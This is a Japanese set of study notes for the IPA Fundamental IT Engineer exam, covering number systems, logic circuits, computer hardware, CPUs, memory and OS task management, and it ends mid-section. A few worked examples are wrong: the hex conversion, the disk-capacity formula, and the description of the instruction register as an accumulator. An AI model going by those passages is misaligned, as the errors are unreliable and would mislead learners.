これは、このセクションの複数ページの印刷可能なビューです。 印刷するには、ここをクリックしてください.

このページの通常のビューに戻る.

Web/IT技術学習ノート一覧

ここから様々なWeb/IT技術を学ぶことができます。
興味/関心のある、または必要な分野を閲覧してください。

私の専門がネットワークなのでインフラ/セキュリティ系のノートの内容が濃い傾向があります。

1 - コンピュータサイエンス入門

IPAの基本情報技術者試験の解説

1.1 - 1.コンピュータ原理

2進数/16進数、論理演算など

1.1. n進数

1.1.1. コンピュータ内部のデータ

コンピュータは通常、0と1、つまりオフとオンであらゆるデータを表現する。 そのため2進数をベースに、8進数、16進数などが情報工学で用いられる。

10進数2進数8進数16進数
0000
1111
21022
31133
410044
510155
611066
711177
81000108
91001119
1010101210

1.1.2. 2進数と10進数

2進数から10進数への変換

1101.011(2)の10進数への変換

2進数1101.011
重み2^32^22^11+1/(2^1)1/(2^2)1/(2^3)
計算値8421+1/21/41/8

計算: 8x1+4x1+2x0+1x1+1/2x0+1/4x1+1/8x1 = 13.375

10進数から2進数への変換

13.25(10)の2進数への変換

2)13 2) 6 … 1 2) 3 … 0 2) 1 … 1

上記式より、1101が抽出。

0.25×2=0.5 0.5×2 =1.0

上記式より、0.10が抽出。

よって解は1101.01

1.1.3. 8進数と16進数

8進数、16進数から10進数への変換

512(8)、1FB(16)の10進数への変換

8進数512
重み8^28^18^0
計算値64×58×11×2

計算: 64×5 + 8 + 2 = 330

16進数1FB
重み16^216^116^0
計算値256×116×151×11

計算: 256 + 16×15 + 11 = 507

2進数から8進数、16進数に変換

1010.01(2)の8進数と16進数への変換

2進数001010.010
重み002^002^1002^10
計算値12.2

計算: 12.2(8)

| 2進数 | | 1 | 0 | 1 | 0 | .0 | 1 | 0 | 0 | | — | — | — | — | — | — | — | — | — | | 重み | 2^3 | 0 | 2^1 | 0 | 0 | 2^2 | 0 | 0 | | 計算値 | 6 | | 2 | | | 4 | | |

計算: 6+2.4 = 8.4 = A.4(16)

8進数、16進数から2進数に変換

12.2(8)、A.4(16)の2進数への変換。

8進数12.2
2進数001010.010

計算: 1010.01(2)

16進数A.4
2進数1010.0100

計算: 1010.01(2)

1.1.4. ビットとバイト

ビット(bit)はコンピュータで扱うデータの最小単位(データ量)のこと。 ビット列はビットを並べたものを示し、ビット列が長いほど多くの情報を表現できる。 また、8bitは1Byteとして扱われる。

1.2. 負数の表現

1.2.1. 負数の表現方法

コンピュータでは負の数を最上位ビットを符号ビットとして扱うという方法がとられる。 符号用ビットがあるデータは符号ありデータと呼ばれる。

符号ありデータには絶対値表現補数表現の2通りある。

絶対値表現

絶対値表現は最上位を符号ビットとして、残りのビットで数値の絶対値を表現する方法

補数表現

補数表現は符号ビットも含めて計算できる負数の表現方法のこと。 補数の1の補数2の補数がある。

1の補数は絶対値のビットを反転したもの。 2の補数は1の補数に1を足したもの

1.3. シフト演算

シフト演算はビットを左右にずらすことで積や商を行う方法のこと。 シフト演算には符号考慮する算術シフト、符号を考慮しない論理シフトがある。

1.3.1. 論理シフト

論理シフトは符号を考慮しないシフト演算のこと。

論理左シフト

2進数のビット列を左にずらすと2のn乗倍になる。

0001000 => 0010000

論理右シフト

2進数のビット列を右にずらすと2の-n乗倍になる。

0001000 => 0000100

1.3.2. 算術シフト

算術シフトは符号を考慮するシフト演算のこと。

算術左シフト

符号ビットは固定したまま動かさず、他のビットを左にずらすシフト演算。

算術右シフト

符号ビットは固定したまま動かさず、他のビットを右にずらすシフト演算。 なお右の空いたビットには符号ビットと同じ数字が入る

1.3.3. シフト演算と加算の演算

シフト演算は2のn乗倍の掛け算と割り算のみ計算できる。 それ以外はシフト演算と足し算を組み合わせて計算を行う

1.4. 小数表現

1.4.1. 固定小数点と浮動小数点

固定小数点数

固定小数点はビット列のどの位置に小数点があるかを暗黙的に決めて扱う小数表現

0.00000014

浮動小数点数

浮動小数点は指数表記を用いて小数点以下を表現する手法

コンピュータはメモリに符号と指数部と仮数部に値を分け値を保持する。 符号には+-の情報を、指数部には累乗の情報を、仮数部には値本体を保存する。

0.14 × 10^-6

1.4.2. 浮動小数点数の正規化

正規化は小数点のすぐ右側に0以外の数字が来るようにするもの

正規化を行うことで有効な桁数を多くとることができる。 そうすることで誤差分が減り、値の精度を高めることが可能。

1.5. 誤差

誤差は実際の数値とコンピュータが扱う数値に生じる差のこと。

1.5.1. 誤差の種類

丸め誤差

丸め誤差は表現可能な桁数(値域)を超えてしまったため、最小桁より小さい数字が四捨五入や切り上げ、切り捨てなどを行うことで生じる誤差のこと。

打切り誤差

打切り誤差は計算処理を終わるまで待たずに途中で打ち切ることで生じる誤差のこと。

情報落ち

情報落ちは絶対値の大きい数と小さい数の加減算を行ったときに、絶対値の小さい値が計算結果に反映されないことで生じる誤差のこと。

桁落ち

桁落ちは絶対値のほぼ等しい2つの数値の引き算を行った際に、有効桁数が減少するために発生する誤差のこと。

桁あふれ

桁あふれは計算結果の桁数がコンピュータの扱えるビット数を超えることで生じる誤差のこと。

1.6. 論理演算/論理回路

1.6.1. 論理演算

論理回路は入力値に対し論理演算を行い結果を出力する装置のこと。 論理演算はMIL記号と呼ばれる図により表現される。

記号類

1.6.2. 基本的な論理回路

OR回路(論理和)

Y = A+B

ABY
000
011
101
111

AND回路(論理積)

Y = A・B

ABY
000
010
100
111

NOT回路(否定)

Y = /A

AY
01
10

1.6.3. 基本回路を組み合わせた回路

XOR回路(排他的論理和)

XOR回路はNOT回路とAND回路を接続したもののNOTがない側を並列誘引し、AND出力側をOR回路で組み合わせた回路

Y = A⊕B

ABY
000
011
101
110

XOR

NOR回路(否定論理和)

NOR回路はOR回路とNOT回路を直列に組み合わせた回路

Y = /(A+B)

ABY
001
010
100
110

NOR

NAND回路(否定論理積)

NAND回路はAND回路とNOT回路を直列に組み合わせた回路

Y = /(A・B)

ABY
001
011
101
110

NAND

1.7. 半加算器/全加算器

1.7.1. 加算器

加算器には半加算器全加算器がある。

半加算器

半加算器は2進数の1桁の足し算をする回路のこと。 AND回路とXOR回路を並列誘引接続し組み合わせた回路で作られる。

半加算器

全加算器

全加算器は半加算器とOR回路を並列接続で組み合わせた回路。 OR回路側の出力を上位桁、2つ目以降の半加算器の出力を下位桁として扱える。

全加算器

1.8. ビットの操作と反転

1.8.1. ビットの反転

ビットの反転にはXOR回路を用いる。 反転方法は以下の通り。

  1. 反転したいビット列を用意
  2. 反転させたい位置のみを1それ以外を0にしたビット列を用意
  3. 上記2つのビット列でXORをとる

1.8.2. ビットの取り出し

ビットの取り出しにはAND回路を用いる。 取り出し方法は以下の通り。

  1. ビットを取り出したいビット列を用意
  2. ビットを取り出したい位置に1それ以外を0にしたビット列を用意
  3. 上記2つのビット列でANDをとる

1.2 - 2.ハードウェア

ハードウェア原理/ノイマン型コンピュータの詳細に関して

2.1. ハードウェア原理

2.1.1. コンピュータの構成要素

コンピュータの構成要素にはハードウェアソフトウェアがある。

  • ハードウェア … 物理的なもの
  • ソフトウェア … コンピュータ内部で動作するプログラムなど

2.1.2. ハードウェア5大装置

コンピュータのハードウェアは入力装置記憶装置制御装置演算装置出力装置の5つの装置が連携して動作する。

5大装置

2.1.3. コンピュータの処理の流れ

コンピュータの処理は「入力」=>「演算」=>「出力」の順に処理が行われる。

  1. 入力内容を記憶装置に読み込む
  2. プログラム内の命令を制御装置に送る
  3. プログラム内のデータを演算装置に送りCPUで処理実行する
  4. 実行結果を記憶装置に書き出す
  5. 出力装置に結果を表示する

処理

2.1.4. ノイマン型コンピュータ

ノイマン型コンピュータは以下の特徴を持つコンピュータであり、現在のほとんどのコンピュータがノイマン型である。

  • プログラム内蔵方式 … プログラム実行時にプログラムを予め主記憶装置上に読み込んでおく方式
  • 逐次制御方式 … 命令を1つずつ取り出し順番に実行していく方式

2.2. 入出力装置

2.2.1. 入力装置

コンピュータに入力信号やデータを入力するための装置。

キーボードとポインティングデバイス

装置説明
キーボード数字や文字を入力するための装置
マウスマウスの移動情報を入力し画面上の位置を示す装置
トラックパッド画面を触れることで移動情報を指し示す装置
タッチパネル画面を触れることで画面の位置を指し示す装置
タブレットパネル上でペン等を動かすことで位置情報を入力する装置
ジョイスティックスティックを傾けることで位置情報を入力する装置

読み取り装置とバーコード

バーコードには2種類あり、商品用にはJANコード、2次元コードにはQRコードがある。

装置説明
イメージスキャナ絵や画像をデータとして読み取る装置
OCR印字された文字や手書き文字などを読み取る装置
OMRマークシートの読み取り位置を認識する装置
キャプチャカードビデオデッキなどの映像装置から、映像をデジタルデータとして取り込む装置
デジタルカメラフィルムの代わりにCCDを用いて画像をデジタルデータとして記憶する装置
バーコードリーダバーコードを読み取る装置

2.2.2. 出力装置

コンピュータの処理結果を表示する装置。

ディスプレイ

ディスプレイはコンピュータ出力を画面に表示する。 例としてブラウン管型のCRTディスプレイや液晶で薄型の液晶ディスプレイなどがある。

またディスプレイが表示されるきめ細かさは解像度と呼ばれる。 1ドット当たりRGBの光を重ねて表現される。

VRAM(ビデオRAM)

コンピュータは画面に表示される内容はVRAMと呼ばれる専用のメモリに保持する。 VRAMの容量によって扱える解像度と色数が異なる。

例えば、1024x768ドットの表示能力を持つディスプレイがある場合、16bit(65536色)を表示させたい場合のVRAMの容量は以下の通り。

1024x768x16=12582912bit, 1byte=8bitなため、12582912bit/8 ≒1.6MByte

ディスプレイの種類

装置説明
CRTディスプレイブラウン管を用いたディスプレイ、奥行きが必要であり消費電力も大きい
液晶ディスプレイ電圧により液晶を制御しているディスプレイ、薄型で消費電力も小さい
有機ELディスプレイ有機化合物に電圧を加えることで発光する仕組みを用いたディスプレイ、バックライトが不要である
プラズマディスプレイプラズマ放電による発行を用いたディスプレイ、高電圧が必要である

プリンタの種類

装置説明
ドットインパクトプリンタ印字ヘッドに多数のピンが内蔵され、このピンでインクリボンを打ち付け印字するプリンタ、印字品質は高くない
インクジェットプリンタ印字ヘッドノズルより用紙に直接インクを吹き付け印刷するプリンタ、高速である
レーザプリンタレーザ光線を照射することで感光体に印刷イメージを作成しそこに付着したトナーを紙に転写することで印刷するプリンタ、主にビジネス用

プリンタの性能指標

  • プリンタの解像度 … プリンタの解像度は1inchあたりのドット数を示すdpiを用いて表される
  • プリンタの印刷速度 … プリンタの印字速度は一秒間に何文字印字できるかを示すcpsと一秒間に何ページ印刷できるかを示すppmの2つがある

2.2.3. アナログデータの制御

センサとアクチュエータ

コンピュータはセンサやアクチュエータを用いて、アナログ情報の取得や機械的動作を実現している。

  • センサ … 熱、光などの自然界の情報を電気信号に変換し、A/D変換しコンピュータに伝える
  • アクチュエータ … 電気信号を物理的な動作量に変換する装置。モータやアームなどが例

制御方式

  • シーケンス制御 … 定められた順序や条件に従い、逐次処理を進めていく制御方式
  • フィードバック制御 … 現在の状況を定期的に計測し、目標値とのずれを入力に戻し、出力結果を目標値と一致させようとする制御方式

2.3. 入出力インターフェイス

入出力インターフェイスはコンピュータと周辺機器を接続するために定めた規格のこと。 コンピュータの入出力インターフェスにはさまざまあり、最もポピュラーなのはUSBである。

2.3.1. データ転送方式による分類

入出力インターフェイスはデータの転送方式で以下のように分類される。

方式区分説明
シリアルインターフェイス有線1本の信号線でデータを送る。現在の主流
パラレルインターフェイス有線複数の信号線を同時に使用してデータを送る
ワイヤレスインターフェイス無線有線ではなく無線でデータを送る

2.3.2. 入出力インターフェイスの種類

USB(Universal Serial Bus)

パソコンと各機器を繋ぐ際のもっとも一般的なインターフェスである。 最大127台まで周辺機器を接続でき、ホットプラグ機能に対応している。

USBハブを通してツリー状に接続されます。またUSBには複数の規格がある。

USB

IDE

IDEは内蔵ハードディスクを接続するために規格として使われていたpパラレルインターフェスである。 元々は最大2台までのハードディスクを接続できるという規格であったが、4CD-ROMなどの接続も対応したEIDEとして拡張された。

IDEでは最大4台までの機器を接続が可能。

HDMI

HDMIはケーブル一本で映像/音声/制御データを転送できる規格。

SCSI

SCSIはハードディスクやCD-ROM、MOドライブやイメージスキャナなどの様々な周辺機器の接続に使われていたパラレルインターフェスのこと。

デイジーチェーンと呼ばれる数珠つなぎに機器を接続する方式をとる。 また終端にはターミネータ(終端末抵抗)が必要である。

接続できるのはコンピュータ本体含め最大8台までである。また識別のために機器にID番号を割り当てる。

IEEE1394

i.LinkやFireWireという名前でも呼ばれ、ハードディスクレコーダなどの情報家電、ビデオカメラなどの機器に使われるインターフェス。

リピータハブを用いてツリー状の接続やディジーチェーン方式での接続が可能。

2.3.3. 無線の入出力インターフェイス

BlueTooth

BlueToothは2.4GHz帯の電波を用いて無線通信を行う規格であり、コードレスイヤホンや携帯電話、マウスなど様々な周辺機器をワイヤレスに接続可能である。

通信距離は10mほどであり、障害物があっても関係がない。

IrDA

IrDAは赤外線を用いて無線通信を行う規格であり、携帯電話やノートPC等に使われている。

なおテレビのリモコンは同じく赤外線を用いますがIrDAではない。 また、障害物があると通信できない特徴がある。

2.4. 補助記憶

2.4.1. 主記憶と補助記憶

コンピュータで使うデータを記憶しておく装置には主記憶装置補助記憶装置がある。

  • 主記憶装置 … CPUと直接データがやり取りできる高速記憶装置、電源が切れるとデータが消えてしまう
  • 補助記憶装置 … 電源がなくてもデータを記憶し続けることができる装置

2.4.2. 補助記憶装置の種類

補助記憶装置には磁気ディスク光ディスクフラッシュメモリがある。

種類特徴
磁気ディスク磁性体を塗ったディスクを使用してデータを読み書きするハードディスク(HDD)
光ディスク薄い円盤にレーザ光を当てることでデータを読み書きするCD,DVD,BD
フラッシュメモリ電気でデータの消去、書き込みを行うメモリ、アクセス速度が速いSDカード, USBメモリ、SSD

2.4.3. 磁気ディスク

磁気ディスクは薄い円盤に磁性体を塗った装置のこと。 以下の部品で構成される。

  • 磁気ヘッド … データの読み書きを行う部品
  • アーム … 磁気ヘッドを磁気ディスクの特定カ所へ移動させる部品

磁気ディスクの記録単位

磁気ディスクはセクタトラックシリンダという単位でデータ位置を管理する。

  • セクタ … データを記録する最小単位
  • トラック … セクタをつないでディスクを1周する領域
  • シリンダ … 各ディスクの中心から同じ距離にあるトラックをすべてまとめた領域

セクタ

また以下のHDDの総容量を求めてみる。

パラメータ
シリンダ数1500
1シリンダあたりのトラック数20
1トラックあたりのセクタ数40
1セクタあたりのバイト数512

{(512x4)x20}x1500 = 6.144x10^8 Byte

データの書き込み

磁気ディスクへデータを書き込みする際はセクタ単位で行わる。 また、システムがファイルなどのデータを扱う際は複数のセクタを1つとみなしたブロック単位で書き込むことが一般的となる。

磁気ディスクまでのアクセス時間

アクセス時間は制御装置から磁気ディスクにデータ書き込み命令が出てから、読み書きが終わるまでの時間のこと。 アクセスは以下のステップで行われる。

  1. アームを動かしデータのあるトラックまで移動する(シーク時間)
  2. 磁気ディスクを回転させデータのあるセクタまで移動する(サーチ時間)
  3. アクセスアームの先端についている磁気ヘッドからデータを読み書きする

また磁気ディスク御アクセス時間は以下式で求まる。

アクセス時間 = 位置決め時間 + 回転待ち時間 + データ転送時間

以下のパラメータを用いてアクセス時間を算出を行う。

パラメータ
回転速度5000t/m
平均シーク時間20ms
1トラックあたりの記憶容量15000Byte

平均サーチ時間は{60x1000)ms/5000=12ms, 12ms/2=6ms データ転送時間は15000Byte/12ms = 1250Byte/ms, 5000/1250=4ms より 20ms + 6ms + 4ms = 30ms

フラグメンテーションとデフラグ

ハードディスク上でデータの書き込みと消去を繰り返すと、プラッタの空き容量は分散化される。 また、その状態で新しく書き込みを行うと、書き込み箇所が離散化される。 このようにファイルがあちこちの領域に分けられ断片化する状態フラグメンテーション(断片化) と呼ばれる。

  • フラグメンテーション(断片化) … ファイルがあちこちの領域に分けられ断片化する状態
  • デフラグメンテーション(デフラグ) … 断片化したファイルデータを連続した領域に並べ直してフラグメンテーションを解決するもの

RAID

複数のハードディスクを組み合わせ用いて、仮想的なハードディスクを構築運用する技術がRAIDである。

これらの用途はハードディスクの高速化や信頼性向上に用いられる。 RAIDはRAID0からRAID6までの7種類あり、求める速度や信頼性に応じて各種類を組み合わせて使用できる。

RAIDの種類説明
RAID0(ストライピング)RAID0は一つのデータを2台以上のディスク分散させて書き込む。
RAID1(ミラーリング)RAID1は2台以上のディスクに対して常に同じデータを書き込む。
RAID5RAID5は3台以上のディスクを使って、データと同時にパリティと呼ばれる誤り訂正符号も分散させて書き込む。

2.4.4. フラッシュメモリ

フラッシュメモリは電源を切っても内容を保持できる半導体メモリのこと。 ただし、書き込み回数に制限があるのが特徴。

  • SD/microSDカード … カード型のフラッシュメモリ
  • USBメモリ … USBポートに刺して使うフラッシュメモリ
  • SSD … 衝撃に強く、HDDの代わりに使用される

SSD(Solid State Drive)

SSDは近年HDDの代替として注目を集めてる。 SSDはフラッシュメモリを記憶媒体として内蔵する装置である。

機会的な駆動部分がなく、省電力で衝撃にも強い。また高速に読み書きが可能。 ただしSSDには書き込み回数に上限がある。

2.5. 主記憶装置とキャッシュメモリ

2.5.1. 主記憶の仕組み

主記憶はCPUから直接アクセスできる記憶装置のこと。 主記憶では一定の区画ごとに番号が割り当てられており、その杭区でデータを出し入れする仕組みとなっている。

データを保存する区画番号はアドレスと呼ばれる。

2.5.2. メモリの種類

メモリはコンピュータの動作に必要なデータを記憶する装置である。 半導体メモリには2種類あり、それぞれRAMとROMと呼ばれる。

メモリの種類

2.5.3. RAMの種類

種類リフレッシュ動作速度集積度価格用途
DRAM必要低速安価主記憶装置
SRAM不要高速高価キャッシュメモリ

DRAM

安価で容量が大きい、主記憶装置に用いられるメモリでコンデンサで構成される読み書き速度はSRAMよりも低速であり、記憶内容の維持のためには定期的に再書き込みするリフレッシュ動作が必要である。

SRAM

DRAMよりも非常に高速であるが高価でフリップフロップで構成される。小規模のキャッシュメモリとして用いられる。 記憶内容の維持にリフレッシュ動作は不要である。

2.5.4. リフレッシュとフリップフロップ

リフレッシュ

リフレッシュはDRAMのデータが失われないように電化を補充すること。 これはDRAMがコンデンサに電化を蓄えることでデータを保持することに由来する。 そのため、定期的にDRAMはリフレッシュする必要がある。

フリップフロップ

フリップフロップはSRAMで使用される記憶ができる電気回路のこと。 回路で記憶されるためリフレッシュは必要がない。

2.5.5. ROMの種類

  • マスクROM … 読み出し専用のメモリであり、製造時にデータが書き込まれている
  • PROM … ユーザの手でプログラミングし書き換えれるROMである
    • EPROM … 紫外線でデータを消去し書き換えられる
    • EEPROM … 電気的にデータを消去し書き換えられる
    • フラッシュメモリ … ブロック単位でデータを消去し書き換えられる

2.5.6. キャッシュメモリ

主記憶として使用されるDRAMはCPUと比較すると低速な読み書き速度なためCPUと主記憶の間に高速なSRAMを介在させる、これはキャッシュメモリと呼ばれる。 このキャッシュメモリを複数使うことでCPUがデータやり取りする速度を高速化することができる。

キャッシュメモリ

2.5.7. 実行アクセス時間

実行アクセス時間はキャッシュメモリを使用した場合の平均的なデータへのアクセス時間のこと。また目的のデータがキャッシュメモリに保存されている確率はヒット率と呼ばれる。

実行アクセス時間 = キャッシュメモリのアクセス時間×ヒット率 + 主記憶のアクセス時間 × (1-ヒット率)

2.5.8. 主記憶への書き込み方式

CPUがキャッシュメモリを使用して主記憶にデータを書き込む方式にはライトスルー方式ライトバック方式がある。

ライトスルー方式

ライトスルー方式ではキャッシュメモリへの書き込みと同時に主記憶装置にも同じデータを書き込む

ライトバック方式

ライトバック方式では通常はキャッシュメモリにのみ書き込みを行い、キャッシュメモリから追い出されるデータが発生するとそれを主記憶装置に書き込み更新する

メモリインタリープ

主記憶装置へのアクセスを高速化する技術にメモリインタリーブがある。

この手法では主記憶装置中を複数の区画に分け、複数の区画に同時アクセスすることで連続した番地のデータを一気に読み出す。

2.6. CPU

2.6.1. CPUの性能指標

CPUの性能はクロック周波数、CPI、MIPS等の指標値を用い評価される。

クロック周波数

CPUはクロック周波数に合わせて動作を行い、クロック周波数が大きいほど高性能であると言える。 1周期で命令を1実行できるため、クロック周波数が1GHz、CPIが1クロックである場合10^9の命令を1秒で実行できることを表す。 またクロック周波数を1で割ったものはクロックサイクル時間と呼ばれ、クロック当たりの所要時間を示す。

MIPS

MIPS(Million Instruction Per Second)は1秒間に実行できる命令の数を表したものである。

CPI

CPI(Clock Per Instruction)は1命令当たり何クロック必要かを表すものである。

2.6.2. CPUのアーキテクチャ

CPUのアーキテクチャには高機能な命令を持つCISCと単純な命令のみで構成されるRISCがある。

CISC

CISCはCPUに高機能な命令を持たせることで、一つの命令で複数な処理を実現するアーキテクチャである。 マイクロプログラムをCPU内部に記憶させることで高機能な命令が実現可能。

RISC

RISCはCPU内部に単純な命令しか持たない代わりに、それらをハードウェアの実で実装し、一つ一つの命令を高速に処理するアーキテクチャである。 ワイヤドロジックによりすべての命令をハードウェア的に実装される。

2.6.3. レジスタの種類

CPUには取り出した命令や実行結果を一時的に保存しておくための小さな記憶装置がある。 それはレジスタと呼ばれ、以下のような種類がある。

  • プログラムカウンタ次に実行する命令のメモリ番地を記憶する
  • 命令レジスタ(アキュムレータ) … 主記憶から読みだされた命令を記憶する
  • 汎用レジスタ … アキュムレータの代わりに使用される

2.6.4. CPUの命令実行手順

CPUが解釈する命令は命令部アドレス部から構成され、オペランドと呼ばれるアドレス部に処理対象となるデータの格納場所がアドレス部に指定されている。

またCPUの命令実行手順は以下の通り。

  1. 命令の取り出し(フェッチ)
  2. 命令の解読(デコード)
  3. 実行アドレス計算(オペランド格納場所を求める)
  4. オペランド呼び出し
  5. 命令実行

CPUはこれらの動作を繰り返す。

命令取り出し(フェッチ)

プログラムカウンタが取り出す命令のメモリアドレスを持つ。 プログラムカウンタに従ってアドレスを参照し命令を取り出し、命令レジスタにそれを記憶させる。 それが終わった後プログラムカウンタの値をインクリメントする。

命令解読

命令レジスタに登録された命令は命令部オペランド部で構成される。 命令部は命令の種類を示すコードが、オペランド部には処理対象となるデータを収めたメモリアドレスが格納される。

命令部の中身は命令デコーダへ送られます。 また、命令デコーダは命令部のコードを解読し、制御信号を必要な装置に通知する。

オペランド読み出し

オペランド(処理対象データ)は読み出しデータのメモリアドレスなどが格納され、 これを参照することでデータを読み出し、汎用レジスタに記憶させる。

命令実行

汎用レジスタからALUに処理データを読み出し演算し、その結果を汎用レジスタに書き戻す。

2.6.5. アドレス指定方式

コンピュータは機械語と呼ばれる0と1で構成された命令語を理解し処理する。

命令レジスタに登録された命令のオペランド部には必ずメモリアドレスが入っているとは限らず、基準値からの差分や、メモリアドレスが入っているメモリアドレスなど複雑なものが入っていることもある。

このように何かしらの計算によりアドレスを求める方式は**アドレス修飾(アドレス指定)**と呼ばれる。

即値アドレス指定方式

アドレス部に対象データそのものが入っている方式。

直接アドレス指定方式

アドレス部に対象データの場所を示すアドレス番地が入っている方式。

間接アドレス指定方式

アドレス部の値が指定するアドレス番地に対象データの場所を示すアドレス番地が入っている方式。

指標アドレス指定方式

アドレス部に指標レジスタ番号とアドレス定数を指定する部分がある。

インデックスアドレス指定方式

オペランド部の値にインデックス(指標)レジスタの値を加算することで実効アドレスを求める。

ベースアドレス指定方式

オペランド部の値にベースレジスタの値を加算することで実効アドレスを求める。

相対アドレス指定方式

オペランド部の値にプログラムカウンタの値を加算することで実効アドレスを求める。

2.7. CPUの高速化技術

2.7.1. 並列処理によるCPUの高速化

パイプライン処理

パイプライン処理は複数の命令を並列して実行する処理であり、全体の処理効率が高い処理のこと。 具体的には命令実行サイクルをステージ単位ごとに分け独立実行させ、流れ作業的に命令サイクルが終わる前に新しい命令サイクルを始める方式。

この処理では次々と命令を先読みしていってるため分岐命令が出た際に先読み分が無駄になることがあり、それは分岐ハザードと呼ばれる。

スーパーパイプライン

スーパーパイプラインは処理のレーンのステージをさらに細かいステージに分割することでパイプライン処理の効率アップを図るものである。

スーパースカラ

スーパースカラはパイプライン処理を行う回路を複数持たせることで全く同時に複数の命令を実行できるようにしたものである。

2.7.2. マルチプロセッサによるCPUの高速化

1台のコンピュータに1つのCPUが搭載されているものはシングルプロセッサ、1つのCPUの中に処理を行うコアを複数搭載したものはマルチコアプロセッサと呼ばれる。

2.7.3. CPUの投機実行による高速化

パイプライン処理では分岐処理(ex:if)が発生する。この結果が明確になるまで次の命令を処理できないという問題がある。

そのため分岐予測と呼ばれる、次の命令はどれかを予想して無駄な待ち時間を発生させないようにする処理がある。 この処理に基づいて分岐先の命令を実行する手法が投機実行である。

1.3 - 3.ソフトウェア

ソフトウェア/メモリ管理など

3.1. ソフトウェアとOS

3.1.1. ソフトウェアの分類

ソフトウェアはコンピュータ内の果たす役割により基本ソフトウェア応用ソフトウェアミドルウェアに分類できる。

基本ソフトウェア

基本ソフトウェアはコンピュータを動作させるための基本機能を提供するソフトウェア。OSとも呼ばれる。

  • 基本ソフトウェア
    • 制御プログラム … ハードウェアを管理しコンピュータを効率管理できるように働くソフトウェア
    • 言語処理プログラム … C言語、Javaなどのプログラム言語で書かれたプログラムを機械語に翻訳するプログラム
    • サービスプログラム … コンピュータの機能を補う補助的なプログラムでユーティリティと呼ばれ、ファイル圧縮プログラムなどがある

応用ソフトウェア

応用ソフトウェアはアプリケーションとも呼ばれるユーザに近い作業を実現するソフトウェアのこと。

ミドルウェア

ミドルウェアは基本ソフトウェアと応用ソフトウェアの間に位置し、応用ソフトウェアが共通に利用する専門機能を提供するソフトウェアのこと。DBMSなどがある。

3.1.2. OS

OSの役割

OSが果たす役割は以下の通り。

  1. ハードウェアの管理
  2. ファイルの管理
  3. 周辺機器の管理

代表的なOS

種類説明
WindowsMicrosoft社製のOS、GUIによる画面操作でコンピュータに命令を行う
Mac OSApple社製のクリエイティブな作業によく用いられるOS、GUIを先駆けで導入したことで有名
MS-DOSWindows普及前に使われていたMicrosoft社製のOSであり、CUI入力であったことで有名
UNIXサーバに使われることが多いOS、大勢のユーザが同時利用できるように考えられている
LINUXUNIX互換のOSであり、オープンソースで無償で利用可能

OSの操作性

コンピュータを操作するインターフェスとしてGUIとCUIがある。 GUIは画面を視覚的に操作することで命令を伝える操作方式でCUIはコマンドで操作する方式。

API

API(Application Program Interface)はOSが含み持つ各機能をアプリケーションから呼び出せる仕組みである、

RPA

RPAはソフトウェアによる自動化のことを指す。

3.2. ジョブ管理

ユーザからみて処理させたい一連の作業のかたまり単位がジョブであり、OSはそれを効率よく処理していけるように実行スケジュールを管理する。

ジョブ管理にはバッチ処理と呼ばれる処理に時間のかかる作業をコンピュータに登録しまとめて処理する仕組みがある。

3.2.1. ジョブ管理フロー

ジョブ管理はカーネルが持つ機能の1つであり、この機能でユーザとの間に橋渡しを行うマスタスケジューラという管理プログラムがある。

ユーザはこの管理プログラムにジョブの実行を依頼する。 また、マスタスケジューラはジョブの実行をジョブスケジューラに依頼し、マスタスケジューラは実行の監視に努め、ジョブスケジューラがジョブを実行する。

3.3. タスク管理

コンピュータから見た仕事の単位がタスクである。 タスクはシステムによってはプロセスと呼ばれる。

3.3.1. タスクの状態遷移

OSはタスクの使用権を適切の割り当てるため3つの状態に分けて管理を行う。 実行可能なタスクにCPUの使用権を割り当てることはディスパッチと呼ばれる。

  • 実行可能状態(Ready) … いつでも実行可能でCPUの使用権が回るのを待機する状態、生成直後のタスクは待ち行列になりこの状態となる
  • 実行状態(Run) … CPUの使用権が与えられ実行中の状態
  • 待機状態(Wait) … 入出力処理が発生したので終了を待っている状態

3.3.2. タスクスケジューリング方式

タスクスケジューリングは択巣が複数存在する場合にどういう順番でタスクを実行すべきか決めるもののこと。2つの方式がある

プリエンプティブ方式

OSが強制的にタスクを切り替えるスケジューリング方法

方式の種類説明
優先式方式タスクに優先度を設定し、優先度が高いものから実行していく方式。実行中のタスクよりも優先度が高いものが待ち行列に追加されると実行途中でCPUの使用権が奪われる(プリエンプション方式)
ラウンドロビン方式CPUの使用権を一定時間ごとに切り替える方式。実行可能状態になった順番でタスクにCPU使用権が割り当てられるが、規定時間に終わらなかった場合は待ち行列の最後に回される。

ノンプリエンプティブ方式

プログラムがタスクを切り替えるスケジューリング方式

方式の種類説明
到着順序方式実行可能となったタスク順にCPUの使用権を割り当てる方式。タスクに優先順位がないため、実行途中でCPUの使用権が奪われることはない(ノンプリエンプション)

3.3.3. マルチプログラミング

マルチプログラミングは複数のプログラムを見かけ上、同時に実行させることにより遊休時間を削減しCPuの使用効率を高めるものである。

3.3.4. 割り込み処理

実行中のタスクを中断し別の処理に切り替え、そちらが終了すると再び元のタスクに再帰する処理は割り込み処理と呼ばれる。

割り込み処理には下記のような種類がある。

内部割込み

内部割込みはタスク自体にエラーが発生しておこるもの

種類説明
プログラム割込み記憶保護例外などの場合に生じる割り込み
SVC割り込み入出力処理の要求などのカーネル呼出し命令が生じた際に生じる割り込み
外部割込み

外部割込みはハードウェア故障などタスク以外が原因となって起こるもの

種類説明
入出力割込み入出力装置の動作完了時や中断時に生じる割り込み
機械チェック割込み電源異常や主記憶装置障害などのハードウェアの異常時に生じる割り込み
コンソール割込みユーザによる介入が行われた際に生じる割り込み
タイマ割込み規定の時間を過ぎたときに生じる割り込み

3.3.5. スプーリング

CPUと入出力装置には処理速度に大きな差が存在する。 スプーリングと呼ばれる、低速な装置とのデータやり取りを高速な磁気ディスクを介して行い処理効率を高める手法が導入されている。

スプーリングを用いるとCPUの待ち時間を削減できるため、単位時間あたりに処理できる仕事量を増やすことが可能。

3.4. 記憶管理

3.4.1. 実記憶管理と仮想記憶管理

記憶管理には主記憶そのものを使用する実記憶管理と、補助記憶を一部使用して実際の主記憶より大きな記憶空間を作り出し、主記憶より大きな容量のプログラムを実行できるようにする補助記憶管理がある。

3.4.2. 実記憶管理

限られた主記憶空間を効率よく使われるようにプログラムに割り当てるのが実記憶管理の役割となる。実記憶管理の方式には区画方式スワッピング方式などがある。

区画方式

固定方式は主記憶をいくつかの区域に分割してプログラムを割り当てる管理方式のこと。

  • 固定区画方式 … 決まったサイズに区画を分割する方式。メモリの獲得や返却などの処理時間は一定となる。
